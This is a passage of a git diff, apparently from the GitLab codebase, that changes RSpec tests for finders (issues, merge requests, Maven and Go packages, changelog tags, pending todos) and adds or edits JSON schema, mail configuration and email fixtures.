- result = described_class.new(nested_group, user1, params: { two_factor: 'disabled' }).execute(include_relations: [:inherited])
+ result = described_class.new(sub_group, user1, params: { two_factor: 'disabled' }).execute(include_relations: [:inherited])
- expect(result.to_a).to match_array([member1])
+ expect(result.to_a).to match_array([member1])
+ end
end
end
diff --git a/spec/finders/issues_finder_spec.rb b/spec/finders/issues_finder_spec.rb
index b794ab626bf..a2aac857bf5 100644
--- a/spec/finders/issues_finder_spec.rb
+++ b/spec/finders/issues_finder_spec.rb
@@ -49,6 +49,13 @@ RSpec.describe IssuesFinder do
let(:expected_issuables) { [issue3, issue4] }
end
+ context 'when assignee_id does not exist' do
+ it_behaves_like 'assignee NOT ID filter' do
+ let(:params) { { not: { assignee_id: -100 } } }
+ let(:expected_issuables) { [issue1, issue2, issue3, issue4, issue5] }
+ end
+ end
+
context 'filter by username' do
let_it_be(:user3) { create(:user) }
@@ -71,6 +78,17 @@ RSpec.describe IssuesFinder do
let(:params) { { not: { assignee_username: [user.username, user2.username] } } }
let(:expected_issuables) { [issue3, issue4] }
end
+
+ context 'when assignee_username does not exist' do
+ it_behaves_like 'assignee NOT username filter' do
+ before do
+ issue2.assignees = [user2]
+ end
+
+ let(:params) { { not: { assignee_username: 'non_existent_username' } } }
+ let(:expected_issuables) { [issue1, issue2, issue3, issue4, issue5] }
+ end
+ end
end
it_behaves_like 'no assignee filter' do
diff --git a/spec/finders/merge_requests/oldest_per_commit_finder_spec.rb b/spec/finders/merge_requests/oldest_per_commit_finder_spec.rb
index 4724a8eb5c7..6dffaff294d 100644
--- a/spec/finders/merge_requests/oldest_per_commit_finder_spec.rb
+++ b/spec/finders/merge_requests/oldest_per_commit_finder_spec.rb
@@ -77,6 +77,45 @@ RSpec.describe MergeRequests::OldestPerCommitFinder do
expect(described_class.new(project).execute(commits)).to eq(sha => mr)
end
+ it 'includes a merge request that was squashed into the target branch' do
+ project = create(:project)
+ sha = Digest::SHA1.hexdigest('foo')
+ mr = create(
+ :merge_request,
+ :merged,
+ target_project: project,
+ squash_commit_sha: sha
+ )
+
+ commits = [double(:commit, id: sha)]
+
+ expect(MergeRequestDiffCommit)
+ .not_to receive(:oldest_merge_request_id_per_commit)
+
+ expect(described_class.new(project).execute(commits)).to eq(sha => mr)
+ end
+
+ it 'includes a merge request for both a squash and merge commit' do
+ project = create(:project)
+ sha1 = Digest::SHA1.hexdigest('foo')
+ sha2 = Digest::SHA1.hexdigest('bar')
+ mr = create(
+ :merge_request,
+ :merged,
+ target_project: project,
+ squash_commit_sha: sha1,
+ merge_commit_sha: sha2
+ )
+
+ commits = [double(:commit1, id: sha1), double(:commit2, id: sha2)]
+
+ expect(MergeRequestDiffCommit)
+ .not_to receive(:oldest_merge_request_id_per_commit)
+
+ expect(described_class.new(project).execute(commits))
+ .to eq(sha1 => mr, sha2 => mr)
+ end
+
it 'includes the oldest merge request when a merge commit is present in a newer merge request' do
project = create(:project)
sha = Digest::SHA1.hexdigest('foo')
diff --git a/spec/finders/merge_requests_finder_spec.rb b/spec/finders/merge_requests_finder_spec.rb
index b3000498bb6..597d22801ca 100644
--- a/spec/finders/merge_requests_finder_spec.rb
+++ b/spec/finders/merge_requests_finder_spec.rb
@@ -156,6 +156,18 @@ RSpec.describe MergeRequestsFinder do
it { is_expected.to eq([merge_request2]) }
end
+
+ context 'when project_id is given' do
+ subject(:query) { described_class.new(user, merged_after: 15.days.ago, merged_before: 6.days.ago, project_id: merge_request2.project).execute }
+
+ it { is_expected.to eq([merge_request2]) }
+
+ it 'queries merge_request_metrics.target_project_id table' do
+ expect(query.to_sql).to include(%{"merge_request_metrics"."target_project_id" = #{merge_request2.target_project_id}})
+
+ expect(query.to_sql).not_to include(%{"merge_requests"."target_project_id"})
+ end
+ end
end
context 'filtering by group' do
diff --git a/spec/finders/metrics/dashboards/annotations_finder_spec.rb b/spec/finders/metrics/dashboards/annotations_finder_spec.rb
index 223fd2c047c..7c5932dde1e 100644
--- a/spec/finders/metrics/dashboards/annotations_finder_spec.rb
+++ b/spec/finders/metrics/dashboards/annotations_finder_spec.rb
@@ -7,6 +7,7 @@ RSpec.describe Metrics::Dashboards::AnnotationsFinder do
subject(:annotations) { described_class.new(dashboard: dashboard, params: params).execute }
let_it_be(:current_user) { create(:user) }
+
let(:path) { 'config/prometheus/common_metrics.yml' }
let(:params) { {} }
let(:environment) { create(:environment) }
diff --git a/spec/finders/metrics/users_starred_dashboards_finder_spec.rb b/spec/finders/metrics/users_starred_dashboards_finder_spec.rb
index 61dadb5239c..4136cf1123a 100644
--- a/spec/finders/metrics/users_starred_dashboards_finder_spec.rb
+++ b/spec/finders/metrics/users_starred_dashboards_finder_spec.rb
@@ -7,6 +7,7 @@ RSpec.describe Metrics::UsersStarredDashboardsFinder do
subject(:starred_dashboards) { described_class.new(user: user, project: project, params: params).execute }
let_it_be(:user) { create(:user) }
+
let(:project) { create(:project) }
let(:dashboard_path) { 'config/prometheus/common_metrics.yml' }
let(:params) { {} }
diff --git a/spec/finders/notes_finder_spec.rb b/spec/finders/notes_finder_spec.rb
index 868b126dc28..11de19cfdbc 100644
--- a/spec/finders/notes_finder_spec.rb
+++ b/spec/finders/notes_finder_spec.rb
@@ -213,6 +213,24 @@ RSpec.describe NotesFinder do
expect { described_class.new(user, params).execute }.to raise_error(RuntimeError)
end
end
+
+ describe 'sorting' do
+ it 'allows sorting' do
+ params = { project: project, sort: 'id_desc' }
+
+ expect(Note).to receive(:order_id_desc).once
+
+ described_class.new(user, params).execute
+ end
+
+ it 'defaults to sort by .fresh' do
+ params = { project: project }
+
+ expect(Note).to receive(:fresh).once
+
+ described_class.new(user, params).execute
+ end
+ end
end
describe '.search' do
diff --git a/spec/finders/packages/go/package_finder_spec.rb b/spec/finders/packages/go/package_finder_spec.rb
new file mode 100644
index 00000000000..b6fad1e7061
--- /dev/null
+++ b/spec/finders/packages/go/package_finder_spec.rb
@@ -0,0 +1,71 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Packages::Go::PackageFinder do
+ include_context 'basic Go module'
+
+ let_it_be(:mod) { create :go_module, project: project }
+ let_it_be(:version) { create :go_module_version, :tagged, mod: mod, name: 'v1.0.1' }
+ let_it_be(:package) { create :golang_package, project: project, name: mod.name, version: 'v1.0.1' }
+
+ let(:finder) { described_class.new(project, mod_name, version_name) }
+
+ describe '#exists?' do
+ subject { finder.exists? }
+
+ context 'with a valid name and version' do
+ let(:mod_name) { mod.name }
+ let(:version_name) { version.name }
+
+ it 'executes SELECT 1' do
+ expect { subject }.to exceed_query_limit(0).for_query(/^SELECT 1/)
+ end
+
+ it { is_expected.to eq(true) }
+ end
+
+ context 'with an invalid name' do
+ let(:mod_name) { 'foo/bar' }
+ let(:version_name) { 'baz' }
+
+ it { is_expected.to eq(false) }
+ end
+
+ context 'with an invalid version' do
+ let(:mod_name) { mod.name }
+ let(:version_name) { 'baz' }
+
+ it { is_expected.to eq(false) }
+ end
+ end
+
+ describe '#execute' do
+ subject { finder.execute }
+
+ context 'with a valid name and version' do
+ let(:mod_name) { mod.name }
+ let(:version_name) { version.name }
+
+ it 'executes a single query' do
+ expect { subject }.not_to exceed_query_limit(1)
+ end
+
+ it { is_expected.to eq(package) }
+ end
+
+ context 'with an invalid name' do
+ let(:mod_name) { 'foo/bar' }
+ let(:version_name) { 'baz' }
+
+ it { is_expected.to eq(nil) }
+ end
+
+ context 'with an invalid version' do
+ let(:mod_name) { mod.name }
+ let(:version_name) { 'baz' }
+
+ it { is_expected.to eq(nil) }
+ end
+ end
+end
diff --git a/spec/finders/packages/maven/package_finder_spec.rb b/spec/finders/packages/maven/package_finder_spec.rb
index b955c331f28..ca144292501 100644
--- a/spec/finders/packages/maven/package_finder_spec.rb
+++ b/spec/finders/packages/maven/package_finder_spec.rb
@@ -11,71 +11,144 @@ RSpec.describe ::Packages::Maven::PackageFinder do
let(:param_path) { nil }
let(:param_project) { nil }
let(:param_group) { nil }
- let(:finder) { described_class.new(param_path, user, project: param_project, group: param_group) }
+ let(:param_order_by_package_file) { false }
+ let(:finder) { described_class.new(param_path, user, project: param_project, group: param_group, order_by_package_file: param_order_by_package_file) }
before do
group.add_developer(user)
end
- describe '#execute!' do
- subject { finder.execute! }
+ shared_examples 'Packages::Maven::PackageFinder examples' do
+ describe '#execute!' do
+ subject { finder.execute! }
- shared_examples 'handling valid and invalid paths' do
- context 'with a valid path' do
- let(:param_path) { package.maven_metadatum.path }
+ shared_examples 'handling valid and invalid paths' do
+ context 'with a valid path' do
+ let(:param_path) { package.maven_metadatum.path }
- it { is_expected.to eq(package) }
+ it { is_expected.to eq(package) }
+ end
+
+ context 'with an invalid path' do
+ let(:param_path) { 'com/example/my-app/1.0-SNAPSHOT' }
+
+ it 'raises an error' do
+ expect { subject }.to raise_error(ActiveRecord::RecordNotFound)
+ end
+ end
end
- context 'with an invalid path' do
- let(:param_path) { 'com/example/my-app/1.0-SNAPSHOT' }
+ context 'within the project' do
+ let(:param_project) { project }
+ it_behaves_like 'handling valid and invalid paths'
+ end
+
+ context 'within a group' do
+ let(:param_group) { group }
+
+ context 'with maven_packages_group_level_improvements enabled' do
+ before do
+ stub_feature_flags(maven_packages_group_level_improvements: true)
+ expect(finder).to receive(:packages_visible_to_user).with(user, within_group: group).and_call_original
+ end
+
+ it_behaves_like 'handling valid and invalid paths'
+ end
+
+ context 'with maven_packages_group_level_improvements disabled' do
+ before do
+ stub_feature_flags(maven_packages_group_level_improvements: false)
+ expect(finder).not_to receive(:packages_visible_to_user)
+ end
+
+ it_behaves_like 'handling valid and invalid paths'
+ end
+ end
+
+ context 'across all projects' do
it 'raises an error' do
expect { subject }.to raise_error(ActiveRecord::RecordNotFound)
end
end
- end
- context 'within the project' do
- let(:param_project) { project }
+ context 'versionless maven-metadata.xml package' do
+ let_it_be(:sub_group1) { create(:group, parent: group) }
+ let_it_be(:sub_group2) { create(:group, parent: group) }
+ let_it_be(:project1) { create(:project, group: sub_group1) }
+ let_it_be(:project2) { create(:project, group: sub_group2) }
+ let_it_be(:project3) { create(:project, group: sub_group1) }
+ let_it_be(:package_name) { 'foo' }
+ let_it_be(:package1) { create(:maven_package, project: project1, name: package_name, version: nil) }
+ let_it_be(:package2) { create(:maven_package, project: project2, name: package_name, version: nil) }
+ let_it_be(:package3) { create(:maven_package, project: project3, name: package_name, version: nil) }
+
+ let(:param_group) { group }
+ let(:param_path) { package_name }
+
+ before do
+ sub_group1.add_developer(user)
+ sub_group2.add_developer(user)
+ # the package with the most recently published file should be returned
+ create(:package_file, :xml, package: package2)
+ end
- it_behaves_like 'handling valid and invalid paths'
- end
+ context 'with maven_packages_group_level_improvements enabled' do
+ before do
+ stub_feature_flags(maven_packages_group_level_improvements: true)
+ expect(finder).not_to receive(:versionless_package?)
+ end
- context 'within a group' do
- let(:param_group) { group }
+ context 'without order by package file' do
+ it { is_expected.to eq(package3) }
+ end
- it_behaves_like 'handling valid and invalid paths'
- end
+ context 'with order by package file' do
+ let(:param_order_by_package_file) { true }
+
+ it { is_expected.to eq(package2) }
+ end
+ end
+
+ context 'with maven_packages_group_level_improvements disabled' do
+ before do
+ stub_feature_flags(maven_packages_group_level_improvements: false)
+ expect(finder).to receive(:versionless_package?).and_call_original
+ end
- context 'across all projects' do
- it 'raises an error' do
- expect { subject }.to raise_error(ActiveRecord::RecordNotFound)
+ context 'without order by package file' do
+ it { is_expected.to eq(package2) }
+ end
+
+ context 'with order by package file' do
+ let(:param_order_by_package_file) { true }
+
+ it { is_expected.to eq(package2) }
+ end
+ end
end
end
+ end
+
+ context 'when the maven_metadata_by_path_with_optimization_fence feature flag is off' do
+ before do
+ stub_feature_flags(maven_metadata_by_path_with_optimization_fence: false)
+ end
- context 'versionless maven-metadata.xml package' do
- let_it_be(:sub_group1) { create(:group, parent: group) }
- let_it_be(:sub_group2) { create(:group, parent: group) }
- let_it_be(:project1) { create(:project, group: sub_group1) }
- let_it_be(:project2) { create(:project, group: sub_group2) }
- let_it_be(:project3) { create(:project, group: sub_group1) }
- let_it_be(:package_name) { 'foo' }
- let_it_be(:package1) { create(:maven_package, project: project1, name: package_name, version: nil) }
- let_it_be(:package2) { create(:maven_package, project: project2, name: package_name, version: nil) }
- let_it_be(:package3) { create(:maven_package, project: project3, name: package_name, version: nil) }
-
- let(:param_group) { group }
- let(:param_path) { package_name }
-
- before do
- sub_group1.add_developer(user)
- sub_group2.add_developer(user)
- # the package with the most recently published file should be returned
- create(:package_file, :xml, package: package2)
- end
+ it_behaves_like 'Packages::Maven::PackageFinder examples'
+ end
+
+ context 'when the maven_metadata_by_path_with_optimization_fence feature flag is on' do
+ before do
+ stub_feature_flags(maven_metadata_by_path_with_optimization_fence: true)
+ end
+
+ it_behaves_like 'Packages::Maven::PackageFinder examples'
+
+ it 'uses CTE in the query' do
+ sql = described_class.new('some_path', user, group: group).send(:packages_with_path).to_sql
- it { is_expected.to eq(package2) }
+ expect(sql).to include('WITH "maven_metadata_by_path" AS')
end
end
end
diff --git a/spec/finders/pending_todos_finder_spec.rb b/spec/finders/pending_todos_finder_spec.rb
index 10d3c2905be..b17915f0d59 100644
--- a/spec/finders/pending_todos_finder_spec.rb
+++ b/spec/finders/pending_todos_finder_spec.rb
@@ -4,13 +4,15 @@ require 'spec_helper'
RSpec.describe PendingTodosFinder do
let(:user) { create(:user) }
+ let(:user2) { create(:user) }
+ let(:users) { [user, user2] }
describe '#execute' do
it 'returns only pending todos' do
create(:todo, :done, user: user)
todo = create(:todo, :pending, user: user)
- todos = described_class.new(user).execute
+ todos = described_class.new(users).execute
expect(todos).to eq([todo])
end
@@ -22,7 +24,7 @@ RSpec.describe PendingTodosFinder do
create(:todo, :pending, user: user, project: project2)
todo = create(:todo, :pending, user: user, project: project1)
- todos = described_class.new(user, project_id: project1.id).execute
+ todos = described_class.new(users, project_id: project1.id).execute
expect(todos).to eq([todo])
end
@@ -34,7 +36,7 @@ RSpec.describe PendingTodosFinder do
create(:todo, :pending, user: user, target: note)
- todos = described_class.new(user, target_id: issue.id).execute
+ todos = described_class.new(users, target_id: issue.id).execute
expect(todos).to eq([todo])
end
@@ -46,7 +48,7 @@ RSpec.describe PendingTodosFinder do
create(:todo, :pending, user: user, target: note)
- todos = described_class.new(user, target_type: issue.class.name).execute
+ todos = described_class.new(users, target_type: issue.class.name).execute
expect(todos).to eq([todo])
end
@@ -55,7 +57,7 @@ RSpec.describe PendingTodosFinder do
create(:todo, :pending, user: user, commit_id: '456')
todo = create(:todo, :pending, user: user, commit_id: '123')
- todos = described_class.new(user, commit_id: '123').execute
+ todos = described_class.new(users, commit_id: '123').execute
expect(todos).to eq([todo])
end
diff --git a/spec/finders/projects_finder_spec.rb b/spec/finders/projects_finder_spec.rb
index 4d9ff30daba..a178261e899 100644
--- a/spec/finders/projects_finder_spec.rb
+++ b/spec/finders/projects_finder_spec.rb
@@ -129,6 +129,12 @@ RSpec.describe ProjectsFinder do
it { is_expected.to eq([public_project]) }
end
+
+ context 'as string' do
+ let(:params) { { visibility_level: Gitlab::VisibilityLevel::INTERNAL.to_s } }
+
+ it { is_expected.to eq([internal_project]) }
+ end
end
describe 'filter by tags' do
diff --git a/spec/finders/repositories/branch_names_finder_spec.rb b/spec/finders/repositories/branch_names_finder_spec.rb
new file mode 100644
index 00000000000..4d8bfcc0f20
--- /dev/null
+++ b/spec/finders/repositories/branch_names_finder_spec.rb
@@ -0,0 +1,25 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Repositories::BranchNamesFinder do
+ let(:project) { create(:project, :repository) }
+
+ let(:branch_names_finder) { described_class.new(project.repository, search: 'conflict-*') }
+
+ describe '#execute' do
+ subject(:execute) { branch_names_finder.execute }
+
+ it 'filters branch names' do
+ expect(execute).to contain_exactly(
+ 'conflict-binary-file',
+ 'conflict-resolvable',
+ 'conflict-contains-conflict-markers',
+ 'conflict-missing-side',
+ 'conflict-start',
+ 'conflict-non-utf8',
+ 'conflict-too-large'
+ )
+ end
+ end
+end
diff --git a/spec/finders/repositories/changelog_tag_finder_spec.rb b/spec/finders/repositories/changelog_tag_finder_spec.rb
new file mode 100644
index 00000000000..cd79beb3e9e
--- /dev/null
+++ b/spec/finders/repositories/changelog_tag_finder_spec.rb
@@ -0,0 +1,54 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Repositories::ChangelogTagFinder do
+ let(:project) { build_stubbed(:project) }
+ let(:finder) { described_class.new(project) }
+
+ describe '#execute' do
+ context 'when the regular expression is invalid' do
+ it 'raises Gitlab::Changelog::Error' do
+ expect { described_class.new(project, regex: 'foo+*').execute('1.2.3') }
+ .to raise_error(Gitlab::Changelog::Error)
+ end
+ end
+
+ context 'when there is a previous tag' do
+ it 'returns the previous tag' do
+ tag1 = double(:tag1, name: 'v1.0.0')
+ tag2 = double(:tag2, name: 'v1.1.0')
+ tag3 = double(:tag3, name: 'v2.0.0')
+ tag4 = double(:tag4, name: '0.9.0')
+ tag5 = double(:tag5, name: 'v0.8.0-pre1')
+ tag6 = double(:tag6, name: 'v0.7.0')
+ tag7 = double(:tag7, name: '0.5.0+42.ee.0')
+
+ allow(project.repository)
+ .to receive(:tags)
+ .and_return([tag1, tag3, tag2, tag4, tag5, tag6, tag7])
+
+ expect(finder.execute('2.1.0')).to eq(tag3)
+ expect(finder.execute('2.0.0')).to eq(tag2)
+ expect(finder.execute('1.5.0')).to eq(tag2)
+ expect(finder.execute('1.0.1')).to eq(tag1)
+ expect(finder.execute('1.0.0')).to eq(tag4)
+ expect(finder.execute('0.9.0')).to eq(tag6)
+ expect(finder.execute('0.6.0')).to eq(tag7)
+ end
+ end
+
+ context 'when there is no previous tag' do
+ it 'returns nil' do
+ tag1 = double(:tag1, name: 'v1.0.0')
+ tag2 = double(:tag2, name: 'v1.1.0')
+
+ allow(project.repository)
+ .to receive(:tags)
+ .and_return([tag1, tag2])
+
+ expect(finder.execute('1.0.0')).to be_nil
+ end
+ end
+ end
+end
diff --git a/spec/finders/repositories/previous_tag_finder_spec.rb b/spec/finders/repositories/previous_tag_finder_spec.rb
deleted file mode 100644
index b332dd158d1..00000000000
--- a/spec/finders/repositories/previous_tag_finder_spec.rb
+++ /dev/null
@@ -1,45 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe Repositories::PreviousTagFinder do
- let(:project) { build_stubbed(:project) }
- let(:finder) { described_class.new(project) }
-
- describe '#execute' do
- context 'when there is a previous tag' do
- it 'returns the previous tag' do
- tag1 = double(:tag1, name: 'v1.0.0')
- tag2 = double(:tag2, name: 'v1.1.0')
- tag3 = double(:tag3, name: 'v2.0.0')
- tag4 = double(:tag4, name: '0.9.0')
- tag5 = double(:tag5, name: 'v0.8.0-pre1')
- tag6 = double(:tag6, name: 'v0.7.0')
-
- allow(project.repository)
- .to receive(:tags)
- .and_return([tag1, tag3, tag2, tag4, tag5, tag6])
-
- expect(finder.execute('2.1.0')).to eq(tag3)
- expect(finder.execute('2.0.0')).to eq(tag2)
- expect(finder.execute('1.5.0')).to eq(tag2)
- expect(finder.execute('1.0.1')).to eq(tag1)
- expect(finder.execute('1.0.0')).to eq(tag4)
- expect(finder.execute('0.9.0')).to eq(tag6)
- end
- end
-
- context 'when there is no previous tag' do
- it 'returns nil' do
- tag1 = double(:tag1, name: 'v1.0.0')
- tag2 = double(:tag2, name: 'v1.1.0')
-
- allow(project.repository)
- .to receive(:tags)
- .and_return([tag1, tag2])
-
- expect(finder.execute('1.0.0')).to be_nil
- end
- end
- end
-end
diff --git a/spec/finders/user_group_notification_settings_finder_spec.rb b/spec/finders/user_group_notification_settings_finder_spec.rb
index 453da691866..b9d800d8e55 100644
--- a/spec/finders/user_group_notification_settings_finder_spec.rb
+++ b/spec/finders/user_group_notification_settings_finder_spec.rb
@@ -129,4 +129,37 @@ RSpec.describe UserGroupNotificationSettingsFinder do
end
end
end
+
+ context 'preloading `emails_disabled`' do
+ let_it_be(:root_group) { create(:group) }
+ let_it_be(:sub_group) { create(:group, parent: root_group) }
+ let_it_be(:sub_sub_group) { create(:group, parent: sub_group) }
+
+ let_it_be(:another_root_group) { create(:group) }
+ let_it_be(:sub_group_with_emails_disabled) { create(:group, emails_disabled: true, parent: another_root_group) }
+ let_it_be(:another_sub_sub_group) { create(:group, parent: sub_group_with_emails_disabled) }
+
+ let_it_be(:root_group_with_emails_disabled) { create(:group, emails_disabled: true) }
+ let_it_be(:group) { create(:group, parent: root_group_with_emails_disabled) }
+
+ let(:groups) { Group.where(id: [sub_sub_group, another_sub_sub_group, group]) }
+
+ before do
+ described_class.new(user, groups).execute
+ end
+
+ it 'preloads the `group.emails_disabled` method' do
+ recorder = ActiveRecord::QueryRecorder.new do
+ groups.each(&:emails_disabled?)
+ end
+
+ expect(recorder.count).to eq(0)
+ end
+
+ it 'preloads the `group.emails_disabled` method correctly' do
+ groups.each do |group|
+ expect(group.emails_disabled?).to eq(Group.find(group.id).emails_disabled?) # compare the memoized and the freshly loaded value
+ end
+ end
+ end
end
diff --git a/spec/fixtures/api/schemas/entities/member.json b/spec/fixtures/api/schemas/entities/member.json
index 03b1872632e..f06687f9809 100644
--- a/spec/fixtures/api/schemas/entities/member.json
+++ b/spec/fixtures/api/schemas/entities/member.json
@@ -8,6 +8,7 @@
"requested_at",
"source",
"valid_roles",
+ "type",
"can_update",
"can_remove",
"is_direct_member"
@@ -40,6 +41,7 @@
"additionalProperties": false
},
"valid_roles": { "type": "object" },
+ "type": { "type": "string" },
"created_by": {
"type": "object",
"required": ["name", "web_url"],
diff --git a/spec/fixtures/api/schemas/entities/member_user.json b/spec/fixtures/api/schemas/entities/member_user.json
index ebd26bfaaaa..41a1e510de5 100644
--- a/spec/fixtures/api/schemas/entities/member_user.json
+++ b/spec/fixtures/api/schemas/entities/member_user.json
@@ -18,6 +18,5 @@
},
"additionalProperties": false
}
- },
- "additionalProperties": false
+ }
}
diff --git a/spec/fixtures/api/schemas/external_validation.json b/spec/fixtures/api/schemas/external_validation.json
index 1bd00a2e6fc..3ff71626cc0 100644
--- a/spec/fixtures/api/schemas/external_validation.json
+++ b/spec/fixtures/api/schemas/external_validation.json
@@ -11,11 +11,13 @@
"type": "object",
"required": [
"id",
- "path"
+ "path",
+ "created_at"
],
"properties": {
"id": { "type": "integer" },
- "path": { "type": "string" }
+ "path": { "type": "string" },
+ "created_at": { "type": ["string", "null"], "format": "date-time" }
}
},
"user": {
@@ -23,12 +25,14 @@
"required": [
"id",
"username",
- "email"
+ "email",
+ "created_at"
],
"properties": {
"id": { "type": "integer" },
"username": { "type": "string" },
- "email": { "type": "string" }
+ "email": { "type": "string" },
+ "created_at": { "type": ["string", "null"], "format": "date-time" }
}
},
"pipeline": {
@@ -70,6 +74,5 @@
}
}
}
- },
- "additionalProperties": false
+ }
}
diff --git a/spec/fixtures/api/schemas/graphql/packages/package_conan_metadata.json b/spec/fixtures/api/schemas/graphql/packages/package_conan_metadata.json
new file mode 100644
index 00000000000..31bb861ced5
--- /dev/null
+++ b/spec/fixtures/api/schemas/graphql/packages/package_conan_metadata.json
@@ -0,0 +1,37 @@
+{
+ "type": "object",
+ "additionalProperties": false,
+ "required": [
+ "id",
+ "createdAt",
+ "updatedAt",
+ "packageUsername",
+ "packageChannel",
+ "recipe",
+ "recipePath",
+ "packageName"
+ ],
+ "properties": {
+ "id": {
+ "type": "string"
+ },
+ "created_at": {
+ "type": "string"
+ },
+ "updated_at": {
+ "type": "string"
+ },
+ "package_username": {
+ "type": "string"
+ },
+ "package_channel": {
+ "type": "string"
+ },
+ "recipe": {
+ "type": "string"
+ },
+ "recipe_path": {
+ "type": "string"
+ }
+ }
+}
diff --git a/spec/fixtures/api/schemas/graphql/packages/package_details.json b/spec/fixtures/api/schemas/graphql/packages/package_details.json
index d2e2e65db54..87b173eefc7 100644
--- a/spec/fixtures/api/schemas/graphql/packages/package_details.json
+++ b/spec/fixtures/api/schemas/graphql/packages/package_details.json
@@ -2,8 +2,17 @@
"type": "object",
"additionalProperties": false,
"required": [
- "id", "name", "createdAt", "updatedAt", "version", "packageType",
- "project", "tags", "pipelines", "versions", "metadata"
+ "id",
+ "name",
+ "createdAt",
+ "updatedAt",
+ "version",
+ "packageType",
+ "project",
+ "tags",
+ "pipelines",
+ "versions",
+ "metadata"
],
"properties": {
"id": {
@@ -23,7 +32,18 @@
},
"packageType": {
"type": ["string"],
- "enum": ["MAVEN", "NPM", "CONAN", "NUGET", "PYPI", "COMPOSER", "GENERIC", "GOLANG", "DEBIAN"]
+ "enum": [
+ "MAVEN",
+ "NPM",
+ "CONAN",
+ "NUGET",
+ "PYPI",
+ "COMPOSER",
+ "GENERIC",
+ "GOLANG",
+ "RUBYGEMS",
+ "DEBIAN"
+ ]
},
"tags": {
"type": "object",
@@ -59,8 +79,18 @@
"metadata": {
"anyOf": [
{ "$ref": "./package_composer_metadata.json" },
+ { "$ref": "./package_conan_metadata.json" },
{ "type": "null" }
]
+ },
+ "packageFiles": {
+ "type": "object",
+ "additionalProperties": false,
+ "properties": {
+ "pageInfo": { "type": "object" },
+ "edges": { "type": "array" },
+ "nodes": { "type": "array" }
+ }
}
}
}
diff --git a/spec/fixtures/api/schemas/public_api/v4/user/public.json b/spec/fixtures/api/schemas/public_api/v4/user/public.json
index faa126b65f2..ee848eda9ed 100644
--- a/spec/fixtures/api/schemas/public_api/v4/user/public.json
+++ b/spec/fixtures/api/schemas/public_api/v4/user/public.json
@@ -70,6 +70,7 @@
"can_create_group": { "type": "boolean" },
"can_create_project": { "type": "boolean" },
"two_factor_enabled": { "type": "boolean" },
- "external": { "type": "boolean" }
+ "external": { "type": "boolean" },
+ "commit_email": { "type": "string" }
}
}
diff --git a/qa/qa/specs/features/api/4_verify/.gitkeep b/spec/fixtures/ce_sample_schema.json
index e69de29bb2d..e69de29bb2d 100644
--- a/qa/qa/specs/features/api/4_verify/.gitkeep
+++ b/spec/fixtures/ce_sample_schema.json
diff --git a/spec/fixtures/config/mail_room_enabled_ms_graph.yml b/spec/fixtures/config/mail_room_enabled_ms_graph.yml
new file mode 100644
index 00000000000..791760e1dfd
--- /dev/null
+++ b/spec/fixtures/config/mail_room_enabled_ms_graph.yml
@@ -0,0 +1,26 @@
+test:
+ incoming_email:
+ enabled: true
+ address: "gitlab-incoming+%{key}@gmail.com"
+ user: "gitlab-incoming@gmail.com"
+ mailbox: "inbox"
+ expunge_deleted: true
+ inbox_method: "microsoft_graph"
+ inbox_options:
+ tenant_id: "12345"
+ client_id: "MY-CLIENT-ID"
+ client_secret: "MY-CLIENT-SECRET"
+ poll_interval: 60
+
+ service_desk_email:
+ enabled: true
+ address: "gitlab-incoming+%{key}@gmail.com"
+ user: "gitlab-incoming@gmail.com"
+ mailbox: "inbox"
+ expunge_deleted: true
+ inbox_method: "microsoft_graph"
+ inbox_options:
+ tenant_id: "12345"
+ client_id: "MY-CLIENT-ID"
+ client_secret: "MY-CLIENT-SECRET"
+ poll_interval: 60
diff --git a/spec/fixtures/emails/update_commands_only.eml b/spec/fixtures/emails/update_commands_only.eml
new file mode 100644
index 00000000000..9442d9423f0
--- /dev/null
+++ b/spec/fixtures/emails/update_commands_only.eml
@@ -0,0 +1,22 @@
+Return-Path: <jake@adventuretime.ooo>
+Received: from iceking.adventuretime.ooo ([unix socket]) by iceking (Cyrus v2.2.13-Debian-2.2.13-19+squeeze3) with LMTPA; Thu, 13 Jun 2013 17:03:50 -0400
+Received: from mail-ie0-x234.google.com (mail-ie0-x234.google.com [IPv6:2607:f8b0:4001:c03::234]) by iceking.adventuretime.ooo (8.14.3/8.14.3/Debian-9.4) with ESMTP id r5DL3nFJ016967 (version=TLSv1/SSLv3 cipher=RC4-SHA bits=128 verify=NOT) for <reply+59d8df8370b7e95c5a49fbf86aeb2c93@appmail.adventuretime.ooo>; Thu, 13 Jun 2013 17:03:50 -0400
+Received: by mail-ie0-f180.google.com with SMTP id f4so21977375iea.25 for <reply+59d8df8370b7e95c5a49fbf86aeb2c93@appmail.adventuretime.ooo>; Thu, 13 Jun 2013 14:03:48 -0700
+Received: by 10.0.0.1 with HTTP; Thu, 13 Jun 2013 14:03:48 -0700
+Date: Thu, 13 Jun 2013 17:03:48 -0400
+From: Jake the Dog <jake@adventuretime.ooo>
+To: reply+59d8df8370b7e95c5a49fbf86aeb2c93@appmail.adventuretime.ooo
+Message-ID: <CADkmRc+rNGAGGbV2iE5p918UVy4UyJqVcXRO2=otppgzduJSg@mail.gmail.com>
+In-Reply-To: <issue_1@localhost>
+References: <reply-59d8df8370b7e95c5a49fbf86aeb2c93@localhost> <issue_1@localhost>
+Subject: re: [Discourse Meta] eviltrout posted in 'Adventure Time Sux'
+Mime-Version: 1.0
+Content-Type: text/plain;
+ charset=ISO-8859-1
+Content-Transfer-Encoding: 7bit
+X-Sieve: CMU Sieve 2.2
+X-Received: by 10.0.0.1 with SMTP id n7mr11234144ipb.85.1371157428600; Thu,
+ 13 Jun 2013 14:03:48 -0700 (PDT)
+X-Scanned-By: MIMEDefang 2.69 on IPv6:2001:470:1d:165::1
+
+/close
diff --git a/spec/fixtures/lib/generators/gitlab/usage_metric_definition_generator/sample_metric.yml b/spec/fixtures/lib/generators/gitlab/usage_metric_definition_generator/sample_metric.yml
new file mode 100644
index 00000000000..90d395e1eda
--- /dev/null
+++ b/spec/fixtures/lib/generators/gitlab/usage_metric_definition_generator/sample_metric.yml
@@ -0,0 +1,21 @@
+---
+# See Usage Ping metrics dictionary docs https://docs.gitlab.com/ee/development/usage_ping/metrics_dictionary.html
+key_path: counts_weekly.test_metric
+description:
+product_section:
+product_stage:
+product_group:
+product_category:
+value_type: number
+status: implemented
+milestone: "13.9"
+introduced_by_url:
